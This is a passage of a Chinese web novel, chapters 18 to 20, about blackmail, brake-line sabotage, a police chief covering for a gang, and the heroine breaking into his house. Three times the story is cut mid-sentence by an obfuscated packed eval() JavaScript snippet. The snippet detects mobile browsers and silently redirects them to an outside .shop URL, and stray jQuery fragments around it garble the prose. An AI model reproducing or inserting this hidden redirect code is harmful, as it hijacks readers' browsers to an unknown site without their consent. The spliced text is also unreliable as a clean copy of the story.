而现在股价暴跌,这笔钱已经亏了快一半。 董事会震怒,立刻发布公告:暂停约翰·劳恩斯行长职务,启动内部 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753428|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 调查。 偏偏这时,维克多还打电话向约翰借钱。 “借钱?!”约翰直接气笑了,“我已经被停职调查了!都是你,要不是你天天怂恿我,我怎么会把银行的钱全部投进去?!我现在工作没了,说不定还要坐牢!” 维克多先是一愣,随即立刻明白了什么,语气瞬间变得凶狠,“当初是你自己点头同意的!现在出了事想赖我?门都没有!” “维克多·哈帕,你给我等着!这事没完!” 约翰嘶吼着,狠狠摔了电话。 听筒里传来 “嘟嘟” 的忙音,维克多站在原地,气得浑身发抖。他一脚踹翻旁边的椅子,玻璃茶几被撞得粉碎。 银行这条路彻底断了。地下钱庄的人明天就要上门。他现在身无分文,所有资产都被抵押了出去。 绝望之中,他忽然想到了一个人——理查德。 这个布鲁姆家族的叛徒,手里肯定有钱。 维克多眼神一厉,抓起外套就往外走。 他买了最近的航班,直奔理查德位于亚特兰大的豪宅。 “理查德,借我一个亿。” 维克多往沙发上一坐,开门见山道。 理查德皱起眉头,脸色难看:“你疯了?我哪有一个亿?” “你会有的。” 维克多冷笑一声,从口袋里掏出一个巴掌大的黑色录音机。 他按下播放键,磁带转动的沙沙声响起,里面清晰地传出理查德的声音: “阿利斯泰尔明天会去芝加哥,他要私下接触平原资本的那几个小股东……”“董事会今天又吵了一架,那些老东西都在逼他撤资……” “这两个月来的通话,每一次我都录下来了。”维克多关掉录音机,威胁道,“要是我把这个交给阿利斯泰尔,你觉得布鲁姆家族会怎么对付你?” 理查德的脸色瞬间变得惨白。 他死死盯着维克多手里的录音机,手指攥得咯咯作响。 他知道维克多说到做到。一旦事情曝光,他不仅会身败名裂,查尔斯绝不会放过一个出卖家族的叛徒。 沉默了许久,理查德缓缓开口,语气平静得可怕:“一个亿太多了,短时间内我根本拿不出来。而且这么大一笔钱转账,动静太大,肯定会引起注意。” 他顿了顿,装作妥协的样子:“我现在账户上只有300万现金,先转给你应急。剩下的钱,我给你凑,两周内给你。” “七天。”维克多沉声道,“七天内,我必须看到剩下的钱。” 说罢,他又一次晃了晃手上的录音机,然后转身离开。 看着维克多远去的背影,理查德脸上的妥协缓缓消失,取而代之的是冰冷的杀意。 他指尖重重敲着桌面,沉默半晌后,拿起座机拨了一个号码。 接电话的是他的心腹马克,跟着他干了十几年,替他处理过不少见不得光的事。 “马克,帮我办件事。” 理查德的声音冰冷得没有一丝温度,“维克多·哈帕手里有一盘我的录音磁带,你想办法拿回来,连人一起解决掉。做得干净点,制造意外,别留下痕迹。” “明白,理查德先生。” 电话那头的马克沉声应下,“我立刻找人去办,不会牵扯到您。” 挂掉电话,理查德靠在椅背上,长长松了口气。 18. 第18章 休斯顿洲际机场,下午三点。 维克多拖着疲惫的脚步走出到达大厅。阳光刺得他睁不开眼,他烦躁地扯了扯领带,四处张望自己的车。 黑色的林肯轿车停在停车场出口,司机老汤姆正靠在车门上抽烟。看见维克多过来,他连忙掐灭烟头,打开后座车门。 “哈帕先生,您回来了。” 维克多点点头,弯腰坐进车里。老汤姆关上车门,绕到驾驶座,发动了汽车。 他们不知道的是,就在10分钟前,老汤姆下车去厕所的空隙,有一伙人盯上了这辆车。 一个头顶锃光瓦亮,一个左耳钉了一排耳钉,一个扎着满头的脏辫。 要是菲伊在这儿,保准能一眼认出这哥仨就是她刚穿来时,差点把自己逼入绝境的蝎子帮成员。 上次他们抓菲伊的任务,搞砸了不说,还被一个女孩打的满地找牙,气得蝎子帮老大差点将三人就地正法。 为了保住小命,三人最近在帮里夹着尾巴做人,过得憋屈得很。 这次他们主动请缨接下这单活,就是想将功赎罪,不用再天天被老大穿小鞋。 “老东西去厕所了,动作快点。” 光头低声吩咐完,从口袋里抽出一根烟,神色自若地迎了上去,“嘿,兄弟,借个火?” 老汤姆没多想,掏出打火机递了过去。 光头一边点烟,一边东拉西扯地闲聊,故意拖延时间。 另一边,耳钉男猫着腰溜到车底,从腰间掏出一把锋利的钳子,精准地剪断了刹车油管。汽油顺着油管一滴一滴落在地上,很快积了一小滩。 脏辫男站在不远处放风,警惕地扫视着四周。 整个过程不到两分钟。 等老汤姆回到车上时,三人早已溜了。 “老大,搞定了。” 耳钉男拍了拍手上的灰,“等他开上高速,一踩刹车就完蛋。到时候我们上去把磁带拿了,直接走人。” 光头点点头,眼神阴狠:“这次不能再搞砸了。不然咱们三个都得喂鱼。” 林肯轿车平稳地行驶在公路上。 维克多靠在后座上,闭着眼睛揉着太阳穴,满脑子都是钱的事。 理查德的300万给的倒是爽快,但那老小子没那么老实,接下来几天搞不好会弄出什么幺蛾子,他得留点后手…… 想到这儿,他下意识地摸了摸西装内袋,那个黑色的微型录音机硬硬的硌着他的胸口。这是他最后的底牌,今天还是走得急了,他应该先留几个备份,再去找理查德的。 突然,他从后视镜里瞥见了一辆白色雪佛兰。 从机场出来,这辆车就一直跟在他们后面,不远不近,保持着七八十米左右的距离。 维克多心里咯噔一下,一股不祥的预感涌上心头。 “老汤姆,后面那辆白色雪佛兰,你注意到了吗?” 他沉声问道。 老汤姆透过后视镜看了一眼,不以为意地笑了笑:“维克多先生,您太紧张了。这条路去市里只有这一条,跟着很正常。” 维克多皱了皱眉,没有说话。但他心里的不安越来越强烈,总觉得有什么事要发生。 与此同时,公路的另一头。 斯坦利开着自己的保时捷跑车,烦躁地按着喇叭。 他正准备休斯顿机场,坐飞机回芝加哥参加董事会紧急会议。休斯顿储蓄的股票已经跌停了,平原资本的股东们都炸了锅,非要他回去给个说法。 “一群蠢货!现在回去有什么用?” 斯坦利低声咒骂着,一拳砸在方向盘上。 就在这时,他放在副驾驶座上的手提电话突然响起,刺耳的铃声弄得他愈发心烦意燥。 打电话来的是杰克?科尔曼,一个住在迈阿密的私人律师,也是唯一一个知道斯坦利在巴哈马有秘密账户的人。 十年来,他只帮斯坦利打理这一件事,从来不和其他人接触。 斯坦利一手握着方向盘,一手拿起电话贴在耳边。 “喂?” “班德先生,出事了。” 杰克的声音压得很低,带着一丝不易察觉的慌乱,“我们在巴哈马的账户,最近被人盯上了。有人在查资金流向,而且已经查到了几笔大额转账记录。” “什么?!谁在查?” 斯坦利猛地一脚踩下刹车,跑车在公路上发出刺耳的刹车声,差点造成追尾。 “不清楚,但对方来头不小,手段很专业。” 杰克沉声道,“如果账户被曝光,不仅这次收维克多两百万的事会暴露,之前那些……也都会被查出来。” 斯坦利浑身冰凉,如坠冰窟。 他心里清楚,律师说的 “那些” 是什么。 这么多年,他利用平原资本合伙人的身份,干了太多见不得光的事: 帮中东的石油大亨前后洗了超过五千万美元的钱;挪用公司资金投资自己的私人项目,亏空了一千多万;还多次利用未公开的并购消息炒股,非法获利八百多万。 一旦这些记录被交给美国司法部门,他不仅会失去所有的钱,还会面临至少20年的监禁。 到时候,他不仅会失去现在的一切——豪宅、豪车、地位、财富,还要在监狱里度过余生。 不行,他不能坐牢。 回芝加哥? 念头刚起,斯坦利就打了个寒颤。 不……那边也不安全! 搞不好这事就是公司里的哪个对头搞出来的!故意用董事会会议骗他回去,然后把他交给警察。 所以他不能回去。 他看了一眼放在副驾驶座上的护照,心一横。 护照在身上,现金也带了不少,不如直接跑路! 索性改乘飞机去墨西哥,然后转道巴哈马,拿着海外账户里3000多万,舒舒服服过完下半辈子。 打定主意,他一脚踩下油门。 跑车发出刺耳的轰鸣,像疯了一样往前冲。 快点,再快点,离开这里! 前面有一辆慢吞吞的大卡车,挡住了去路。斯坦利连转向灯都没打,猛地一打方向盘,强行从左侧超车。 就在这时,对面车道上,黑色的林肯轿车正平稳驶来。 老汤姆一眼就看到了忽然窜出来的保时捷,脸色骤变,下意识地踩刹车。 ——没有任何反应。 刹车踏板软得像棉花一样,踩到底也没有一丝制动力。 “哦,上帝!” “你在干什么?快踩刹车啊!” 后座的维克多惊慌失措地吼道。 “刹车失灵了!” 老汤姆脸色惨白,拼尽全力往右侧打方向盘。 保时捷擦着林肯的车身呼啸而过,金属摩擦发出尖锐刺耳的声音,溅起一串火星。 巨大的气流让林肯车猛地一晃,彻底失去控制。 “砰!” 车头狠狠撞在路边的护栏上,护栏应声断裂。林肯车翻滚着冲出公路,像个破布娃娃一样,从十几米高的土坡上滚了下去。 车内的维克多被甩得撞在车顶,又重重摔在座椅上,额头磕出一个大洞,鲜血瞬间糊住了眼睛。 他连哼都来不及哼一声,直接失去了意识。 那个黑色的微型磁带录音机从他口袋里掉出来,滚进了座椅的缝隙里。 另一边,斯坦利根本来不及反应。 他车速太快,又刚完成超车,方向盘还没回正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753429|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 。眼睁睁看着林肯车冲下山坡,他脑子里一片空白,还没来得及踩刹车,就听见 “砰” 的一声巨响。 一直跟在林肯车后面的光头三人,根本没想到前面会冲出一辆保时捷,刹车不及,结结实实地撞向保时捷。 保时捷的车头被撞得凹进去一大块,斯坦利被安全带勒得喘不过气,额头狠狠磕在方向盘上,眼前一黑,晕了过去。 白色雪佛兰车里,脏辫男胸口狠狠撞向方向盘,额头磕在挡风玻璃上,当场失去了意识。 耳钉男的右腿被变形的车门死死夹住,惨叫一声便没了动静。 后座的光头没有系安全带,整个人向前飞出去,重重砸在驾驶座和副驾驶座之间,也一动不动了。 整条公路瞬间陷入可怕的死寂。 被超车的大卡车缓缓停下来。 卡车司机探出头,看着眼前惨烈的车祸现场,吓得脸色惨白。他哆哆嗦嗦地掏出手提电话。 “喂,警察吗?出大事了!这里发生了连环车祸……” *** 费尔蒙酒店顶层套房里,暖黄灯光慵懒洒落,柔和地铺满整间屋子。 餐桌上摆着酒店顶配VIP晚餐,焦香多汁的和牛肋排、奶香浓郁的焗龙虾,搭配清爽解腻的时蔬和精巧爱的甜点,简单几样菜,质感就甩外面的餐馆十条街。 菲伊用纸巾擦着嘴角,心里忍不住感慨:顶层的伙食是真的顶。 自从与阿利斯泰尔达成合作后,她就暂时留在休斯顿。原本她想在附近找家便宜点的酒店落脚,却被阿利斯泰尔一口否决。 一来二人需要频繁盯盘、商议行情,来回奔波太过麻烦;二来出于人身安全考量,他直接吩咐伊森把她安置在费尔蒙酒店。 旺季客房紧张,总统套房早已订空,伊森便给她订了一间豪华套房。结果一听那费用,吓得菲伊连夜退了房,主动换成普通房。 可即便是普通房,一晚上也要100美元。菲伊手头上的钱大多都投到原油市场,兜里只剩1500多,只够住半个月。 伊森看出她的窘迫,主动将她的住宿费并入布鲁姆家的对公账单,还解释说,这是合作伙伴专属待遇,不必客气。 菲伊假意推脱两句,便坦然接受。 只要原油暴涨,阿利斯泰尔的投资就能翻十几二十倍,获利好几亿美元,而这都是她的功劳,所以这酒店她自然住的心安理得。 不过菲伊也懂得见好就收,作为合作伙伴,该有的分寸感还是得有,没事绝不往上凑。 所以一开始的每日三餐,她都是随便啃点三明治和面包凑合着过。 直到战争打响,市场行情剧烈波动,她必须全天候盯盘,这才长期驻扎在这总统套房里。阿利斯泰尔看她三餐敷衍,随口找了个体面说辞,坦言自己一人吃不完,放着也是浪费,留她一起用餐。 这么一来二去,总统套房的一人餐,就变成了两人餐。渐渐地,菲伊发现了一个细节——自己爱吃的那几道菜,出现的频率变高了。 想到这儿,菲伊下意识地瞥了眼阿利斯泰尔。他早已用餐完毕,此刻正端坐在办公桌前,垂眸处理公务。 男人神色平淡,脊背挺得笔直,哪怕只是安静坐着,也自带生人勿近的气场。 菲伊不禁又感慨了一句:不愧是天生的资本家,连收买人心都做的不动声色。饭菜、住宿处处贴心,她吃人手短,只得卖力干活。 就在这时,走廊里传来急促的脚步声。 来人是伊森,与平日的淡然不同,他此刻的表情竟十分生动——诧异中带着几分古怪,古怪中又有一丝费解。 “先生,温斯洛小姐,刚收到私家侦探的消息,出事了。” 19. 第19章 阿利斯泰尔闻言,不急不缓地给手中的钢笔套上笔帽,眼皮淡淡抬了一下,“怎么了?” 伊森:“维克多从亚特兰大飞回休斯顿,返程的路上出了连环车祸,现在重伤进了ICU,还没脱离危险。” “车祸?”阿利斯泰尔的指尖在桌面轻轻蹭了一下,转瞬便恢复平静。 菲伊眉头微挑,只觉得那老头也太倒霉了些。 “巧的是,” 伊森继续道,“一起出事的另一辆车上,坐着的是斯坦利,他买了晚上回芝加哥的机票。不过他运气好点,只是脑震荡外加两根肋骨骨折,刚出手术室,没有生命危险。” 咦,斯坦利也出车祸了? 菲伊收起心里的幸灾乐祸,开始觉得有些不对劲了。 “怎么会这么巧?正好是他们两个?” “确实过于巧合了。” 阿利斯泰尔点头赞同。 他见伊森欲言又止,淡淡开口:“还有什么?” 伊森表情愈发古怪,转头看向菲伊,“出事的车一共三辆。而这第三辆车里的人,温斯洛小姐应该认识。” 菲伊指了指自己,有些诧异:“我?” “对。” 伊森点头,“蝎子帮的人。就是之前去抓你的那三个打手。” 这话一出,菲伊直接惊得站起来:“蝎子帮?!他们怎么会出现在那里?” “具体情况还不清楚。” 伊森摇头。 说到这里,他忍不住又扫了菲伊一眼。 当初调查她的背景时,他不仅查到了蝎子帮追债的事,也看到了警局那晚的出警记录:三个男的坚持称自己是不小心摔伤的,可他们身上的伤口明显是殴打所致。 档案里这个女孩的体育成绩平平,连长跑都不及格,到底是怎么从三个持械打手手里全身而退,他至今都没想明白。 伊森压下杂念,回归正题: “我们的人赶到时,警察已经封锁了现场,没敢靠近。只问到了目击的卡车司机,他说当时斯坦利突然加速超他的车,差点和对面的林肯撞上。 林肯车紧急避让,翻下了山坡。后面的白色雪佛兰跟得太近,直接和斯坦利的保时捷迎头撞上。” “表面看,就是一场普通的交通事故。” “事情应该没那么简单。” 阿利斯泰尔指尖轻轻叩着桌面,眸色沉了下来,他从不相信天降巧合,越是看着天衣无缝,背后越藏着猫腻。 “维克多刚从亚特兰大见完理查德,回来就出了车祸……伊森,让盯梢的人继续深挖,别放过任何细节。” 同一时间,休斯顿警察局。 局长科尔·汉森懒散靠在办公椅上,指尖转着笔,桌面上放着一台黑色微型录音机,是从斯坦利车里搜出来的。 他按下播放键,磁带沙沙作响,理查德出卖阿利斯泰尔的对话清晰传出。 “布鲁姆家的人……” 科尔嘴角勾起一抹玩味的笑,“有意思。” 这时,负责事故勘查的警员推门进来,脸色严肃:“局长,林肯车的初步勘查结果出来了。刹车油管被人故意剪断了,不是意外。” 科尔的手指一顿:“人为破坏?” “对。切口很平整,是用钳子剪的。从时间上推断,应该是在机场动的手脚。” “司机呢?醒了没?” “还在昏迷,医生说至少要明天才能醒。” 科尔摸了摸下巴,问道:“那辆白色雪佛兰上的三个人,查清楚身份了吗?” “查清楚了,是蝎子帮的。” 警员答道,“我们查了他们的行踪,今天下午他们确实去了洲际机场,没有航班记录,只是在停车场待了十几分钟,然后就跟着那辆林肯车离开了。” “跟着林肯离开的。” 科尔重复了一遍,心里已经有了答案。 “局长,我怀疑这事与蝎子帮有关,要不要传唤他们?” “传唤?” 科尔嗤笑一声,抬眼看向他,“你有证据吗?刹车上有他们的指纹?还是有人看见他们剪的?” 警员摇了摇头:“没有。现场没有留下任何痕迹。” “没证据传唤什么?浪费警力。” 科尔摆了摆手,“这事就按普通交通事故处理。刹车失灵是车辆老化导致的,明白吗?” 警员愣了愣,随即点头:“我明白了,局长。” 打发走下属,科尔拿起桌上的电话,熟练地拨通一串号码。 电话响了三声,那边传来一个粗哑的声音:“喂?” “是我。” 科尔语气平淡,压迫感十足,“你手下那三个蠢货,今天在59号公路搞出了大动静。” 电话那头的蝎子帮老大顿了一下,语气立刻变得恭敬:“实在抱歉,是他们办事不力,给您添麻烦了。” “麻烦大了。” 科尔冷声道,“林肯车的刹车被查出来是人为破坏的。我已经压下去了,按意外处理。你赶紧把尾巴擦干净,让那三个蠢货醒了之后什么都别说。要是敢把我牵扯进去,我让你们整个帮都在休斯顿消失。” “明白明白!我一定处理好!” “还有,” 科尔补充道,“维克多还在ICU,后续要怎么处理,你们自己看着办。别再露出破绽。” 挂掉电话,科尔将桌上的录音机塞进外套口袋,拿起车钥匙,起身走出办公室。 夜色渐浓,休斯顿的街头灯火璀璨。 科尔开着车,缓缓驶向费尔蒙酒店。 …… 科尔刚走到总统套房门口,就被两个黑衣保镖伸手拦住。两人身形壮硕,眼神锐利,手不自觉地按在腰间,一看就是专业的安保人员。 “先生,请留步。” 科尔脸上立刻堆起和善的笑,一点被拦的不悦都没有,慢悠悠掏出警官证晃了晃:“我是休斯顿警察局局长科尔,找阿利斯泰尔?布鲁姆先生有点事。” 保镖接过警官证核对了一眼,对着领口的对讲机低声说了几句。半分钟后,对讲机里传来伊森的声音:“让他进来。” 保镖侧身让开道路,做了个 “请” 的手势。 套房里,菲伊刚端起水杯喝了一口,便听到伊森说警察局长亲自上门,眉头顿时皱了起来:连环车祸刚发生不到两个小时,警局一把手就连夜登门,这要是没鬼才怪。 她转头看向阿利斯泰尔,男人的目光还落在报价终端跳动的数字上,察觉到菲伊的视线,头也不抬道:“怎么?你有想法?” 菲伊放下水杯,眼睛滴溜溜转了一圈,刻意压低声音,摆出一副懂事的样子:“我还是回避一下吧。警察局局长亲自登门,估计有要事商量,我待在这儿不方便。” 毕竟是警局局长谈事,她一个外人在场不方便。 话虽这么说,心里想的却是:不方便在场,但方便听墙角啊,她倒要看看那局长是人是鬼。 阿利斯泰尔终于抬眸,目光在她脸上扫了半秒,眼底掠过一丝看穿一切的笑意,但没戳破,只是微微颔首。 菲伊起身走进隔壁的客卧,没有把门关死,而是留了一条细细的缝隙,刚好能听见客厅的谈话声。 科尔推门走进套房,视线掠过站在一旁的伊森,径直落在阿利斯泰尔身上,脸上瞬间堆起恰到好处的热络笑容。 “布鲁姆先生,久仰大名!早就听闻您年轻有为,今日一见,果然气度不凡,比传闻中还要出色。深夜打扰,实在是唐突了。” 他快步走上前,主动伸出双手,姿态很是恭敬。 阿利斯泰尔从沙发上起身,象征性地和他握了握手,力道很轻,一触即分。 “科尔局长客气了。伊森,倒杯咖啡。” “不用麻烦、不用麻烦。” 科尔连忙摆手,笑眯眯地在对面沙发坐下,“我今天来,是有件东西要交给布鲁姆先生。” 说着,他从口袋里掏出那台录音机,放在茶几上,轻轻推到阿利斯泰尔面前。 “这是从今天车祸现场,维克多?哈帕的车里搜出来的。我听了一下,里面的内容好像和布鲁姆先生有关。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17753430|209455||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 我想着这种东西,放在我手里不合适,就第一时间给您送过来了。要怎么处理,全凭您的意思。” 说完,他按下了播放键。 客厅里一片安静,只有磁带里的对话在回荡。 科尔身体微微前倾,目光紧紧盯着阿利斯泰尔的脸,试图从对方脸上捕捉到什么。 可阿利斯泰尔只是垂眸看着茶几上的录音机,神色没有任何变化。 直到录音播放完毕,他才抬眼看向科尔:“这应该是车祸现场的证物吧?科尔局长就这么交给我,合适吗?” 科尔哈哈一笑,摆了摆手,语气随意得像是在聊家常: “什么证物不证物的,就是一场普通的交通事故罢了。是斯坦利·班德先生开车太急,强行超车才出的事,跟这盘磁带半点关系都没有。再说了,这种涉及布鲁姆家族隐私的东西,交到您手中更合适,不是么?” 他意有所指地笑了笑,接着话锋一转,带着恰到好处的恭维: “布鲁姆先生年轻有为,这次休斯顿联合储蓄的收购案,就算是我这个粗人也有所耳闻。如今维克多重伤,斯坦利也出了事,这收购案的大局,肯定没什么悬念了。 以后您在休斯顿发展,咱们少不了需要打交道的时候,这点小事,就当我给您的见面礼。” 这话说得漂亮,意思也再明白不过。他用这盘磁带卖一个人情,搭上布鲁姆家族这条线。 布鲁姆家根基深厚,国会和白宫都有人脉,科尔这个警局局长想要再往上走一步,需要更多的助力。 而阿利斯泰尔要在休斯顿站稳脚跟,也少不了他提供方便。 说白了,就是互利互惠,共同 “进步”。 阿利斯泰尔对此心里门儿清。来休斯顿之前,他早就把这里的政商势力摸得一清二楚。 科尔这个人,无利不起早,最擅长钻营,心黑手狠,和本地黑/帮牵扯不清,却偏偏做事谨慎,从来没被人抓到过把柄。 是典型的老狐狸。 他拿起茶几上的录音机,指尖在金属机身上轻轻摩挲着,嘴角勾起一抹淡淡的笑:“那就多谢局长好意。这份人情,我记下了。” “布鲁姆先生客气了。” 科尔笑得眼睛都眯了起来,“以后有什么用得着我的地方,尽管开口。” 接下来,两人又虚与委蛇地聊了几句。科尔全程都在打太极,一口咬定车祸就是意外,还假惺惺地感叹维克多和斯坦利运气不好,偏偏凑到了一起。 半点没提蝎子帮,更没提刹车被人为剪断的事。 阿利斯泰尔也不点破,只是顺着他的话应和着。 聊得差不多了,科尔识趣地起身告辞:“不打扰您休息,我先回去了。” 阿利斯泰尔没有起身,只是微微颔首:“伊森,送送科尔局长。” 隔壁客卧里,菲伊贴着门缝,把两人的对话听得一字不落。 她撇了撇嘴,在心里翻了个白眼:能混到警局一把手的果然都是人精,话说得滴水不漏,半句把柄都抓不住。 她几乎可以笃定,科尔肯定隐瞒了什么。 车祸涉及三方:维克多、斯坦利,还有蝎子帮。 首先排除维克多,他要是维克多的人,哪会眼巴巴送上门当人情。 所以,他隐瞒的事,要么与斯坦利有关,要么就是……蝎子帮。 菲伊正琢磨着,外面传来套房门合上的声音。她没急着出去,而是走到窗边,撩开窗帘一角往下看。 没过多久,科尔的蓝色丰田缓缓驶出酒店停车场。就在车子快要开上马路的时候,路边一个金发女人突然朝他招了招手。 科尔停下车,摇下车窗。 女人走到驾驶座旁,弯腰凑到车窗边,和科尔说了几句。 菲伊盯着女人的脸,越看越眼熟,眉头越皱越紧。 她下意识伸出手掌,横在眼前,挡住女人的下半张脸,只看眉眼和发型。 忽然,心里“咯噔”一下—— 是她! 20. 第20章 这不就是自己刚穿过来那天,假扮成护士要绑走她的那个女人吗?! 没等菲伊回过神,就见科尔点点头,女人立刻露出一个妩媚的笑,身姿摇曳地绕到副驾驶,拉开车门坐了进去。 丰田车重新发动,汇入了车流。 菲伊的后背瞬间冒了一层冷汗。 绑架未成年,证据确凿,怎么可能这么快就被放出来? 以科尔的身份和性格,不可能随便让路边陌生女人上车。 唯一的解释只有一个,他俩本就认识! 一时间,所有的线索都串了起来。 假扮护士的女人是蝎子帮的→女人和科尔关系匪浅→蝎子帮三人组出现在车祸现场→科尔在隐瞒着什么。 答案呼之欲出—— 科尔在为蝎子帮打掩护! 她一直以为蝎子帮只不过是个名不见经传的小帮派,虽然之前被对方追得狼狈奔逃。但作为一个拥有金手指的穿越者,她不知不觉中生成一些优越感,加上最近过的太顺,她开始有些飘了,居然忘了刚穿过来时的狼狈与绝望。 如果没有系统,没有知晓未来的优势,她早就任人任人搓扁揉圆了。 一个黄赌毒都沾惹,还与警察局局长有瓜葛的蝎子帮,绝对不是她可以轻视的存在。 这颗毒瘤,必须尽早清除! 不仅为了她自身安全,也为了原主和原主的养父母,她占了人家的身体,有义务帮他们一家报这个仇。 想到这里,菲伊不再犹豫,拉开门冲了出去。 客厅里,阿利斯泰尔正低声跟伊森吩咐着什么。 “我有点急事,出去一趟。” 菲伊语速极快地说了一句,没等两人反应过来,人已冲进了走廊。 她一路狂奔回自己的普通客房,一把抓起放在床上的背包——她所有家当都在里面,就是为了这种突发状况准备的。 甩上背包冲进电梯,菲伊对着电梯里的镜子飞速变装。 “叮——” 电梯门打开,一个平平无奇的女孩快步走出酒店,伸手拦了一辆出租车,朝丰田车消失的方向追去。 等菲伊坐上出租车时,已经耽搁了几分钟,蓝色丰田早就没了踪影。但好在这片区域规划简单,从费尔蒙酒店往市区方向只有一条主干道。 菲伊二话不说甩给司机20美元小费:“我需要追一辆蓝色丰田,车牌号HT-7894!” 黑人大哥瞟了她一眼,把钱塞进兜里,“小姐,我可不干违法的事。” “我是去抓奸!” 菲伊面不改色,“追上了,再给你二十!” “哦,抓奸不违法!”黑人大哥眼睛一亮,握紧方向盘:“坐稳了,小姐!” 出租车瞬间窜了出去,引擎发出轰鸣,在车流里左穿右插,硬是把二手福特开出了法拉利的架势。 不到一分钟,那辆蓝色丰田的尾灯,便重新出现在菲伊的视线里。 一路跟着它七拐八绕,最终开进了一片静谧的富人社区。 夜深了,路边的独栋别墅都熄了灯,只有昏黄的路灯孤零零亮着,周围偶尔传来几声虫鸣和风吹过树叶的沙沙声。 科尔的车驶入一栋三层别墅的车库,卷帘门缓缓拉起。 菲伊让司机在两百米开外的停下,付了车费外加说好的二十美元。 黑人大哥探出头,对着她比了个 “加油” 的手势,压低声音道:“祝你好运!别被发现了!” 说完一脚油门溜了。 菲伊贴着墙根,猫着腰悄悄摸了过去。 刚绕到别墅正门,就见科尔搂着那个金发女人走出来,两人刚踏入别墅玄关,就迫不及待地抱在一起啃了起来。 菲伊:“……” Shit,辣到她的眼睛了! 就不知道拉上窗帘吗?她都要长针眼了! 她一边吐槽,一边脚步不停,飞快绕到别墅后院。 一楼布局一目了然,只有客厅、厨房与餐厅,没有私密隔间。 按照美式别墅的常规设计,主卧、书房这类重要房间,大概率都设在楼上。 眼下科尔和金发女人正忙的热火朝天,短时间内不会上楼。 菲伊抬头看了眼二楼窗台的高度,心里稍稍松了口气。 这段她虽然心态有点飘,却没有忘了要提高体能。毕竟这具身体实在太弱了,不练不行。 经过一个来月有针对性的锻炼,她现在的身体柔韧性、肌肉爆发力都提升了不少,若再次动用黑猫搏斗技能,所产生的后遗症肯定会轻上不少。 除此以外,在阿利斯泰尔的默许下,她还厚着脸皮跟他那两位保镖学了几招近身格斗技巧。 如今的她,早已不是一个月前手无缚鸡之力的柔弱少女了。 菲伊骄傲地挺了挺胸膛,然后唤出系统: 【系统,我要租借雷蒙的暗杀能力。】 什么?你说她既已非吴下阿蒙,为何还要找系统租借能力? 唉,人贵有自知之明,菲伊很清楚,哪怕体能有所提高,可屋里那两货,一个是配枪警察,一个是□□成员,都是见过血的狠角色,就凭她那点三脚猫功夫,正面对上绝对没有胜算。 至于雷蒙,他就是那两位保镖之一。 菲伊厚着脸跟人家套近乎,可不仅仅为了学点格斗技巧,更重要的是维持肢体接触的频次、刷好感度,只为在非常时刻——比如现在——能租借这位前三角洲特战队员的能力。 为什么选暗杀能力,而不是其他? 原因更简单。 她此行目的是暗中搜集科尔与□□勾结的证据,不是上门打架。暗杀能力适配潜行潜入,隐蔽性拉满,即便不小心暴露,也能自保脱身,性价比远高于其他。 【雷蒙暗杀能力,E级,80美元/分钟。宿主当前可支配现金1523美元,是否全额兑换?】 系统冰冷的提示音很快响起。 【等等!你这定价是不是有问题?黑猫夜间搏斗是F级,一分钟才15美元,雷蒙的暗杀能力只比它高一个等级,单价直接翻5倍还多?抢钱都没你快。】 【本系统定价透明,童叟无欺。宿主若有异议,我可出具一份详细的定价参数报告给你。】 菲伊嘴角一抽,懒得跟人机系统掰扯:【行了行了,不用报告,先兑换5分钟吧。】 嘶,5分钟,400美元就这么没了! 原本鼓起腰包立刻扁下去一截,菲伊心疼得无以复加。 今晚一定要值回票价啊! 否则她的400块,哦,还有那大几十的打车钱,就全打水漂了! 【能力租借成功,倒计时:05:00。】 提示音刚落,一股热流骤然席卷全身。 菲伊身体僵硬感尽数褪去,筋骨舒展,充满韧性,每一寸肌肉都蓄着收敛的爆发力。 五感的敏锐度也随之提升,一楼的动静、草丛间细碎的虫鸣,都清晰地传入耳中。原本昏暗的后院在她眼中也变得轮廓分明。 菲伊深吸一口气,后退两步,助跑、蹬墙,然后借力向上一跃—— 指尖精准地抓住二楼窗台的边缘,手臂发力,轻巧利落翻身,无声无息钻进一扇未关严的玻璃窗。 落地的瞬间,她立刻蹲下身,屏住呼吸听了几秒。 一楼的动静越来越大,不堪入耳的声音一阵阵传来,两人显然没注意到二楼多了个人。 凭借暗杀能力自带的勘察观察力,菲伊快速扫视四周,一眼锁定走廊尽头、门板厚重的房间。 房门锁着,但问题不大。 从背包里掏出一根细铁丝,插进锁孔里轻轻一拨。 “咔哒” 一声轻响,锁开了。 她推开门闪身进去,反手轻轻带上。书房里拉着厚厚的窗帘,伸手不见五指。 刚要取出手电筒,后颈的汗毛突然竖了起来——身后有急促的呼吸声! 